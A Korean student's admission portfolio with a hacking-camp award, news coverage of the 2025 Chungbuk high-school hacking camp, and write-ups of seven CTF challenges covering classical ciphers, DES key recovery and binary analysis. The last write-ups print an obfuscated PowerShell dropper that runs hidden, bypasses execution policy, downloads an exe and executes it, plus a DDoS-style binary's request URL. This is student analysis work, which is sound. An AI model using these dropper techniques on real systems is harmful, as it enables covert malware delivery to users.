특기입증자료 2

2025충북고교생해킹캠프 대상

특기자 전형 지원자 박재현

목차

제 2025-CTF-001 호

상 장

대 상

팀명 : 충북과학고등학교물리해킹단

팀원 : 박기범(충북과학고), 박재현(충북과학고),
최하람(충북과학고)

위 팀은 “2025 충북 고교생 해킹 캠프” 미니 CTF에서 우수한 성적을 거두었기에, 이 상장을 수여합니다.

2025년 12월 1일

청주대학교 디지털보안학과장

수 료 증

소　　속 : 충북과학고등학교
이　　름 : 박재현
교육과정 : 2025 충북 고교생 해킹 캠프
교육기간 : 2025.11.15.-2025.11.16.

위 학생은 청주대학교와
한국보건산업진흥원이 공동
주최·주관하고 국가정보원과
셋시큐리티가 후원한 “2025 충북 고교생
해킹 캠프”를 수료하였기에, 이 증서를
수여합니다.

2025년 12월　1일

청주대학교 디지털보안학과장

e대학저널

청주대, 2025 충북 고교생 해킹캠프 개최

온종림 기자 | jrohn@naver.com | 기사승인 : 2025-11-17 10:33:24

'2025 충북 고교생 해킹 캠프'에 참가한 학생들과 운영진이 기념사진을 촬영하고 있다. 사진=청주대 제공

[대학저널 온종림 기자] 청주대학교가 한국보건산업진흥원과 공동으로 최근 사이버 보안에 대한 관심 유도와 저변 확대를 위해 '2025 충북 고교생 해킹 캠프'를 글로스터호텔 청주에서 개최했다.

국가정보원과 셋시큐리티가 후원한 이번 캠프에는 청주대성고, 청주운호고, 제천여고, 청주신흥고, 청주IT과학고, 충북과학고 학생들이 참가했다.

캠프 첫째 날에는 디지털 포렌식, 웹 해킹, 바이브 리버싱 관련 교육과 사이버보안 문제를 풀어보는 미니 CTF 대회가 진행됐다. 미니 CTF에서는 충북과학고 박재현, 박기범, 최하람 학생으로 구성된 '충북과학고등학교물리해킹단' 팀이 우승했다.

교수신문

청주대, 충북 고교생 해킹캠프 개최

한국보건산업진흥원과 공동 사이버보안 관심 유도

하영 입력 2025.11.17 11:51 | 댓글 0

청주대학교(총장 김윤배)는 한국보건산업진흥원과 공동으로 최근 이틀간 사이버 보안에 대한 관심 유도와 저변 확대를 위해 '2025 충북 고교생 해킹 캠프'를 글로스터 호텔 청주에서 개최했다고 17일 밝혔다.

최근 '2025 충북 고교생 해킹 캠프'에 참가한 학생들과 운영진이 기념사진을 촬영하고 있다.

국가정보원과 셋시큐리티가 후원한 금번 해킹 캠프에는 청주대성고, 청주운호고, 제천여고, 청주신흥고, 청주IT과학고, 충북과학고 학생들이 참가했다.

캠프 첫째 날에는 디지털 포렌식, 웹 해킹, 바이브 리버싱 관련 교육과 사이버보안 문제를 풀어보는 미니 CTF 대회가 진행됐다. 미니 CTF에서는 충북과학고 박재현, 박기범, 최하람 학생으로 구성된 '충북과학고등학교물리해킹단' 팀이 우승했다.

청주대, 충북 고교생 해킹캠프 개최

김하연 기자 | 입력 2025.11.17 11:12 |

한국보건산업진흥원과 공동 사이버보안 관심 유도

[베리타스알파=김하연 기자] 청주대(총장 김윤배)는 한국보건산업진흥원과 공동으로 최근 이틀간 사이버 보안에 대한 관심 유도와 저변 확대를 위해 '2025 충북 고교생 해킹 캠프'를 글로스터호텔 청주에서 개최했다고 17일 밝혔다.

국가정보원과 셋시큐리티가 후원한 금번 해킹 캠프에는 청주대성고, 청주운호고, 제천여고, 청주신흥고, 청주IT과학고, 충북과학고 학생들이 참가했다.

캠프 첫째 날에는 디지털 포렌식, 웹 해킹, 바이브 리버싱 관련 교육과 사이버보안 문제를 풀어보는 미니 CTF 대회가 진행됐다. 미니 CTF에서는 충북과학고 박재현, 박기범, 최하람 학생으로 구성된 '충북과학고등학교물리해킹단' 팀이 우승했다.

둘째 날에는 공공기관, 스타트업, 사이버보안 학습, 대학 생활 등과 관련해 실무자/대학생들과 상담하는 '사이버보안 진로/학습멘토링'과 미니 CTF 문제 풀이가 진행됐다.

이번 해킹 캠프를 공동 총괄한 청주대 디지털보안학과 이해영 교수는 "한국보건산업진흥원, 국가정보원, 셋시큐리티의 적극적인 지원으로 지역 고교생들이 사이버보안에 더욱 가깝게 다가가는 기회를 만들 수 있었다"고 밝혔다.

청주대, 충북 고교생 해킹캠프 개최

U's Line 디지털국 입력 2025.11.17 17:13 | 댓글 0

▲최근 '2025 충북 고교생 해킹 캠프'에 참가한 학생들과 운영진이 기념사진을 촬영하고 있다.

[U's Line 유스라인 디지털국] 청주대(총장 김윤배)는 한국보건산업진흥원과 공동으로 최근 이틀간 사이버 보안에 대한 관심 유도와 저변 확대를 위해 '2025 충북 고교생 해킹 캠프'를 글로스터호텔 청주에서 개최했다고 17일 밝혔다.

국가정보원과 셋시큐리티가 후원한 금번 해킹 캠프에는 청주대성고, 청주운호고, 제천여고, 청주신흥고, 청주IT과학고, 충북과학고 학생들이 참가했다.

캠프 첫째 날에는 디지털 포렌식, 웹 해킹, 바이브 리버싱 관련 교육과 사이버보안 문제를 풀어보는 미니 CTF 대회가 진행됐다. 미니 CTF에서는 충북과학고 박재현, 박기범, 최하람 학생으로 구성된 '충북과학고등학교물리해킹단' 팀이 우승했다.

이뉴스투데이

청주대, 충북 고교생 해킹캠프 열어

김지혁 기자 입력 2025.11.17 20:50

한국보건산업진흥원과 공동 사이버보안 관심 유도

[사진=청주대학교]

[이뉴스투데이 충북취재본부 김지혁 기자] 청주대학교(총장 김윤배)가 한국보건산업진흥원과 공동으로 최근 이틀간 사이버 보안에 대한 관심 유도와 저변 확대를 위해 '2025 충북 고교생 해킹 캠프'를 글로스터호텔 청주에서 개최했다고 17일 밝혔다.

국가정보원과 셋시큐리티가 후원한 이번 캠프에는 청주대성고, 충북과학고 등 충북 도내 여러 고등학교 학생들이 참가했다.

캠프 첫째 날에는 디지털 포렌식, 웹 해킹, 바이브 리버싱 관련 교육과 함께 실력을 겨루는 미니 CTF(Capture The Flag) 대회가 진행되었다. 미니 CTF에서는 충북과학고 박재현, 박기범, 최하람 학생으로 구성된 '충북과학고등학교물리해킹단' 팀이 우승을 차지했다.

세종경제뉴스 SEJONG KYEONGJE NEWS

청주대, 충북 고교생 해킹캠프 개최

박승미 기자 입력 2025.11.17 11:39 | 댓글 0

청주대학교는 한국보건산업진흥원과 공동으로 '2025 충북 고교생 해킹 캠프'를 개최했다./청주대

[세종경제뉴스] 청주대학교(총장 김윤배)는 한국보건산업진흥원과 공동으로 최근 이틀간 사이버 보안에 대한 관심 유도와 저변 확대를 위해 '2025 충북 고교생 해킹 캠프'를 글로스터호텔 청주에서 개최했다고 17일 밝혔다.

국가정보원과 셋시큐리티가 후원한 금번 해킹 캠프에는 청주대성고, 청주운호고, 제천여고, 청주신흥고, 청주IT과학고, 충북과학고 학생들이 참가했다.

캠프 첫째 날에는 디지털 포렌식, 웹 해킹, 바이브 리버싱 관련 교육과 사이버보안 문제를 풀어보는 미니 CTF 대회가 진행됐다. 미니 CTF에서는 충북과학고 박재현, 박기범, 최하람 학생으로 구성된 '충북과학고등학교물리해킹단' 팀이 우승했다.

둘째 날에는 공공기관, 스타트업, 사이버보안 학습, 대학 생활 등과 관련해 실무자·대학생들과 상담하는 '사이버보안 진로·학습멘토링'과 미니 CTF 문제 풀이가 진행됐다.

BreakNews

청주대, '25 충북 고교생 해킹캠프 개최...사이버 보안 저변 확대 계기

【충북 브레이크뉴스】 임창용 기자=청주대학교는 한국보건산업진흥원과 공동으로 최근 이틀간 사이버 보안에 대한 관심 유도와 저변 확대를 위해 '2025 충북 고교생 해킹 캠프'를 글로스터호텔 청주에서 개최했다고 17일 밝혔다.

국가정보원과 셋시큐리티가 후원한 금번 해킹 캠프에는 청주대성고, 청주운호고, 제천여고, 청주신흥고, 청주IT과학고, 충북과학고 학생들이 참가했다.

캠프 첫째 날에는 디지털 포렌식, 웹 해킹, 바이브 리버싱 관련 교육과 사이버보안 문제를 풀어보는 미니 CTF 대회가 진행됐다. 미니 CTF에서는 충북과학고 박재현, 박기범, 최하람 학생으로 구성된 '충북과학고등학교물리해킹단' 팀이 우승했다.

청주대, '2025 충북 고교생 해킹 캠프' 개최…미래 사이버보안 인재 육성

충청도민일보 | 이병호기자

청주대학교가 한국보건산업진흥원과 공동으로 최근 글로스터호텔 청주에서 '2025 충북 고교생 해킹 캠프'를 개최하며 지역 고교생들의 사이버보안 역량 강화에 나섰다. 17일 청주대에 따르면, 이번 캠프는 국가정보원과 셋시큐리티의 후원으로 청주대성고, 청주운호고, 제천여고, 청주신흥고, 청주IT과학고, 충북과학고 학생들이 참가했다. 첫째 날에는 디지털 포렌식, 웹 해킹, 바이브 리버싱 교육과 함께 미니 CTF 대회가 열렸다. 대회에서 충북과학고 박재현, 박기범, 최하람 학생으로 구성된 '충북과학고등학교물리해킹단' 팀이 우승을 차지했다. 둘째 날에는 공공기관과 스타트업 실무자, 대학생 멘토와 함께하는 '사이버보안 진로·학습멘토링'과 미니 CTF 문제 풀이가 진행돼 학생들이 실무 경험과 진로 탐색의 기회를 얻었다. 공동 총괄을 맡은 청주대 디지털보안학과 이해영 교수는 "한국보건산업진흥원, 국가정보원, 셋시큐리티의 적극적인 지원으로 지역 고교생들이 사이버보안에 더욱 가까워지는 기회를 제공할 수 있었다"고 말했다. 한국보건산업진흥원 정보화전략팀 노미현 파트장은 "AI와 디지털 전환이 가속화되고 지능화되는 사이버 위협 환경 속에서 충북 학생들이 미래 사이버보안을 이끌 핵심 인재로 성장하길 바란다"고 강조했다. 이번 행사는 지역 고교생들이 최신 사이버보안 기술을 체험하고 실무자와 교류하며 진로를 구체화할 수 있는 자리로 평가되며, 충북 지역 IT·보안 분야 인재 육성의 토대로 자리잡을 전망이다.

문제 1. HEILHITLER

1) 문제

1939-09-03
HEILHITLER, HTXCVDBYK KOI ATUSBYK FM XPP HBAPRZH

1939-10-01
HEILHITLER, WIVPAZTEI KOI ANHXT QPFD FG ZJBHMII 14AL

1940-11-12
HEILHITLER, JFKLTX{HPV4KPSV_Q3SQQ}

2) 풀이

가. HEILHITLER 를 키로 Vigenère 복호화

HEILHITLER 를 반복 키로 사용하여 첫 번째 암호문부터 순서대로 복호화하였다.

암호문: HTXCVDBYK KOI ATUSBYK FM XPP HBAPRZH
키: HEILHITLE RHE ILHITLE RH EIL HITLERH
결과: APPROVING THE SINKING OF THE ATHENIA

나. 두 번째 암호문 복호화

암호문: WIVPAZTEI KOI ANHXT QPFD FG ZJBHMII 14AL
결과: PENETRATE THE SCAPA FLOW BY OCTOBER 14TH

다. 마지막 문자열에 같은 키 적용

암호문: JFKLTX{HPV4KPSV_Q3SQQ}
결과: CBCAMP{OER4TION_F3LIX}

3) Python 코드

```
def dec(s, key):
    out = ''
    j = 0
    for c in s:
        if c.isalpha():
            k = ord(key[j % len(key)].upper()) - 65
            b = 65 if c.isupper() else 97
            out += chr((ord(c) - b - k) % 26 + b)
            j += 1
        else:
```

```
            out += c
    return out

key = 'HEILHITLER'

print(dec('HTXCVDBYK KOI ATUSBYK FM XPP HBAPRZH', key))
print(dec('WIVPAZTEI KOI ANHXT QPFD FG ZJBHMII 14AL', key))
print(dec('JFKLTX{HPV4KPSV_Q3SQQ}', key))
```

4) 실행 결과

APPROVING THE SINKING OF THE ATHENIA
PENETRATE THE SCAPA FLOW BY OCTOBER 14TH
CBCAMP{OER4TION_F3LIX}

문제 2. Frequency

1) 문제

단일 문자 치환으로 암호화된 긴 영어 문장이 주어진다. 암호문을 복호화한 뒤 문장 안의 지시에 따라 FLAG 를 구한다.

Tidsn Oqrfn or ronqte bfnne ysgy il ycs qdouyouj vub yeqsrsyyouj
oubfryde. Tidsn Oqrfn cvr hssu ycs oubfryde'r ryvubvdb bfnne ysgy ...

2) 풀이

가. 문자 대응 맞추기

암호문의 Tidsn Oqrfn 부분을 Lorem Ipsum 으로 맞춘 뒤, 반복되는 글자를 계속 대조하여 치환 관계를 확장하였다.

Tidsn -> Lorem
Oqrfn -> Ipsum

암호문자 -> 평문자
a -> k b -> d c -> h d -> r e -> y
f -> u g -> x h -> b i -> o j -> g
k -> w l -> f m -> q n -> m o -> i
q -> p r -> s s -> e t -> l u -> n
v -> a w -> j x -> v y -> t z -> c

나. 대응표를 전체 암호문에 적용

완성한 대응표를 암호문 전체에 적용하였다. 첫 문장과 FLAG 지시 부분은 다음과 같이 복원되었다.

Lorem Ipsum is simply dummy text of the printing and typesetting industry.
...
The flag is the MD5 hash of the word 'frequency'.
Please make sure to submit it in the correct flag format.

다. frequency 의 MD5 계산

복호문에 나온 단어 frequency 를 그대로 MD5 해시하였다.

3) Python 코드

```
import hashlib

cipher = open('challenge (1).txt', encoding='utf-8').read()
```

```
c = 'abcdefghijklmnoqrstuvwxyz'
p = 'kdhryuxbogwfqmipselnajvtc'
mp = dict(zip(c, p))

def dec(s):
    out = ''
    for ch in s:
        if ch.lower() in mp:
            x = mp[ch.lower()]
            out += x.upper() if ch.isupper() else x
        else:
            out += ch
    return out

plain = dec(cipher)
print(plain)

h = hashlib.md5(b'frequency').hexdigest()
print(h)
print(f'CBCAMP{{{h}}}')
```

4) 실행 결과

The flag is the MD5 hash of the word 'frequency'.

MD5: fad6c43b628858e0b472d0c164557fcf
FLAG: CBCAMP{fad6c43b628858e0b472d0c164557fcf}

문제 3. DES Round Key

1) 문제

block cipher algorithm: DES
operation mode: ECB
round (16) key: 0xffffff000000
encrypted flag:
0xbdacae316ff25d18d18d5a2a9ef642627d71292b6e8175eb987b0218c6cdd78a003f749b9fda104647ce5ae80d641098

2) 풀이

가. 16 라운드 서브키 복원

주어진 K16 = 0xffffff000000 은 48 비트이다. DES 는 16 라운드까지 총 28 비트 회전하므로 C16, D16 은 C0, D0 와 같은 위치로 돌아온다. K16 의 48 비트를 PC-2 위치에 다시 배치하면 다음 형태가 된다.

11111111?11111111?111?11?111000000?00?0000?0000000000?00

PC-2 에서 빠진 자리가 8 개이므로 ?에 들어갈 경우는 2^8 = 256 개이다.

나. 키 후보 확인

8 개의 ?에 0~255 를 모두 대입해 56 비트 후보를 만들고, PC-1 의 위치를 역으로 적용해 64 비트 DES 키로 복원하였다. 각 바이트의 parity bit 를 맞춘 뒤 256 개 키로 암호문을 DES-ECB 복호화하였다. CBCAMP{ 로 시작하는 평문이 나온 후보를 선택하였다.

찾은 키: e0e0e0e0f1f1f1f1
평문: CBCAMP{b4c113b550169a2aebc053e7d4cd5962}

3) Python 코드

```
from Crypto.Cipher import DES

key = bytes.fromhex('e0e0e0e0f1f1f1f1')
ct = bytes.fromhex(
    'bdacae316ff25d18d18d5a2a9ef64262'
    '7d71292b6e8175eb987b0218c6cdd78a'
    '003f749b9fda104647ce5ae80d641098'
)
```

```
    pt = DES.new(key, DES.MODE_ECB).decrypt(ct)
    print(pt[:-pt[-1]].decode())
```

4) 실행 결과

key = e0e0e0e0f1f1f1f1

CBCAMP{b4c113b550169a2aebc053e7d4cd5962}

문제 4. QR Code

1) 문제

challenge.png 에 있는 QR 코드에서 FLAG 를 확인한다.

2) 풀이

가. QR 코드 촬영

challenge.png 를 화면에 띄운 뒤 휴대폰 기본 카메라로 QR 코드를 촬영하였다.

나. 인식 결과 확인

카메라에 표시된 QR 인식 결과를 열어 문자열을 확인하였다.

```
CBCAMP{aba2193eb3d8c72535d4daf33adcf4ba}
```

3) 확인 방법

challenge.png 표시
-> 휴대폰 카메라로 QR 촬영
-> QR 인식 결과 확인

4) 실행 결과

CBCAMP{aba2193eb3d8c72535d4daf33adcf4ba}

문제 5. Image OSINT

1) 문제

challenge.jfif 에 촬영된 장소를 찾는다.

2) 풀이

가. Google Lens 로 원본 이미지 검색

challenge.jfif 를 Google Lens 에 넣어 유사 이미지를 검색하였다.

나. 유사 공원 사진 비교

검색 결과 중 같은 형태의 조형물이 나온 공원 사진들을 열어 원본과 비교하였다. 조형물 모양과 주변 공원 구조가 같은 사진을 선택하였다.

다. 사진의 장소 정보 확인

해당 유사 이미지의 장소 정보를 확인하여 Thomas Jefferson Park 를 찾았다.

> Thomas Jefferson Park
> Manhattan, New York

3) 확인 과정

challenge.jfif
-> Google Lens 유사 이미지 검색
-> 같은 조형물이 나온 공원 사진 확인
-> 사진의 장소 정보 확인
-> Thomas Jefferson Park

4) 실행 결과

Thomas Jefferson Park, Manhattan, New York

문제 6. Go Binary

1) 문제

challenge.exe 를 분석하여 내부의 FLAG 값을 찾는다.

2) 풀이

가. 실행 파일 문자열 확인

challenge.exe 의 문자열을 확인하여 Go 함수 이름과 URL 문자열을 찾았다.

```
challenge/ddos.New
challenge/ddos.(*DDoS).Run
challenge/ddos.(*DDoS).Run.func1


https://fake.target.com/?f_l_a_g=5c2448d63b4d99dc9d1b3b113ab1b355
```

나. ddos.New 함수에서 URL 사용 위치 확인

Go 바이너리의 심볼이 남아 있어 go tool objdump 로 challenge/ddos.New 를 확인하였다. URL 문자열을 가져온 뒤 net/url.Parse 에 전달하는 코드가 나온다.

```
ddos.go:31    LEAQ go:string.*+88662(SB), AX
ddos.go:31    MOVL $0x41, BX
ddos.go:31    CALL net/url.Parse(SB)
```

다. Run 함수에서 실제 요청에 사용하는지 확인

challenge/ddos.(*DDoS).Run.func1 을 확인하여 저장된 URL 이 net/http.Client.Get 에 전달되는 부분을 확인하였다.

```
ddos.go:53    MOVQ 0(DX), BX
ddos.go:53    MOVQ 0x8(DX), CX
client.go:453  MOVQ net/http.DefaultClient(SB), AX
client.go:453  CALL net/http.(*Client).Get(SB)
```

라. f_l_a_g 파라미터 값 추출

URL 의 f_l_a_g= 뒤에 있는 32 자리 16 진수 문자열을 추출하고 FLAG 형식으로 감쌌다.

```
f_l_a_g=5c2448d63b4d99dc9d1b3b113ab1b355


CBCAMP{5c2448d63b4d99dc9d1b3b113ab1b355}
```

3) 분석 명령 및 Python 코드

```
# Go 함수 확인
go tool objdump -s "challenge/ddos.New" challenge.exe
go tool objdump -s "challenge/ddos.*Run" challenge.exe

# 값 추출
import re

data = open('challenge.exe', 'rb').read()
m = re.search(rb'f_l_a_g=([0-9a-f]{32})', data)
value = m.group(1).decode()

print(value)
print(f'CBCAMP{{{value}}}')
```

4) 실행 결과

```
5c2448d63b4d99dc9d1b3b113ab1b355
CBCAMP{5c2448d63b4d99dc9d1b3b113ab1b355}
```

문제 7. PowerShell Downloader

1) 문제

challenge.bat 을 분석하여 다운로드 경로와 다운로드되는 exe 파일 이름을 찾는다.

2) 풀이

가. BAT 파일의 PowerShell 코드 확인

challenge.bat 을 열면 PowerShell 에서 Base64 문자열을 디코딩한 뒤 Deflate 압축을 해제하는 코드가 들어 있다.

```
powershell -WindowStyle Hidden -ExecutionPolicy Bypass "
(New-Object System.IO.StreamReader(
    (New-Object System.IO.Compression.DeflateStream(
        [IO.MemoryStream][Convert]::FromBase64String('bVLJbsIwFPyV...TWLw=='),
        [IO.Compression.CompressionMode]::Decompress
    )),
    [System.Text.Encoding]::ASCII
)).ReadToEnd() | ...
```

사용되는 핵심 함수는 다음 두 개이다.

```
FromBase64String(...)
DeflateStream(...)
```

나. Base64 추출 후 raw Deflate 해제

FromBase64String('...') 안의 문자열을 추출한 뒤 Base64 디코딩과 raw Deflate 압축 해제를 수행하였다.

```
import re
import base64
import zlib


s = open('challenge.bat', encoding='latin1').read()


b64 = re.search(
    r"FromBase64String₩('([^']+)'₩)",
    s, re.I
).group(1)


data = base64.b64decode(b64)
code = zlib.decompress(data, -15).decode()
```

```
print(code)
```

압축을 해제하면 두 번째 PowerShell 코드가 출력된다. URL 과 파일 이름 부분은 다음과 같이 문자열 포맷으로 난독화되어 있다.

다. 다운로드 URL 문자열 복원

```
${uRL} = (
"{11}{6}{5}{0}{2}{10}{3}{4}{7}{9}{1}{8}" -f
'oogle',
'lmal',
'.com',
'w/cb',
'camp',
'tes.g',
'://si',
'/pow',
'ware',
'erfu',
'/vie',
'https'
)
```

PowerShell 의 -f 포맷 번호 순서대로 조각을 이어 붙였다.

```
{11} -> https
{6}  -> ://si
{5}  -> tes.g
{0}  -> oogle
{2}  -> .com
{10} -> /vie
{3}  -> w/cb
{4}  -> camp
{7}  -> /pow
{9}  -> erfu
{1}  -> lmal
{8}  -> ware
```

https://sites.google.com/view/cbcamp/powerfulmalware

라. exe 파일 이름 복원

```
${file} = ("{1}{2}{0}{3}" -f
'ub.',
'MpSl',
```

```
'gSt',
'exe'
)

{1} -> MpSl
{2} -> gSt
{0} -> ub.
{3} -> exe

MpSlgStub.exe
```

마. DownloadFile 호출 확인

```
"{2}{3}{0}{4}{1}" -f
'ad','le','Dow','nlo','Fi'

-> DownloadFile
```

복원된 코드에서 System.Net.WebClient 의 DownloadFile 이 URL 과 파일 이름을 인자로 받아 호출되는 것을 확인하였다. 이후 shell.application 의 shellexecute 로 해당 파일을 실행한다.

```
System.Net.WebClient
        -> DownloadFile(URL, file)
        -> MpSlgStub.exe 저장
        -> shell.application / shellexecute
```

3) Python 코드

```
import re
import base64
import zlib

s = open('challenge.bat', encoding='latin1').read()

b64 = re.search(
    r"FromBase64String₩('([^']+)'₩)",
    s, re.I
).group(1)

code = zlib.decompress(
    base64.b64decode(b64), -15
).decode()

print(code)
```

4) 실행 결과

다운로드 경로:
https://sites.google.com/view/cbcamp/powerfulmalware

실행 파일 이름:
MpSlgStub.exe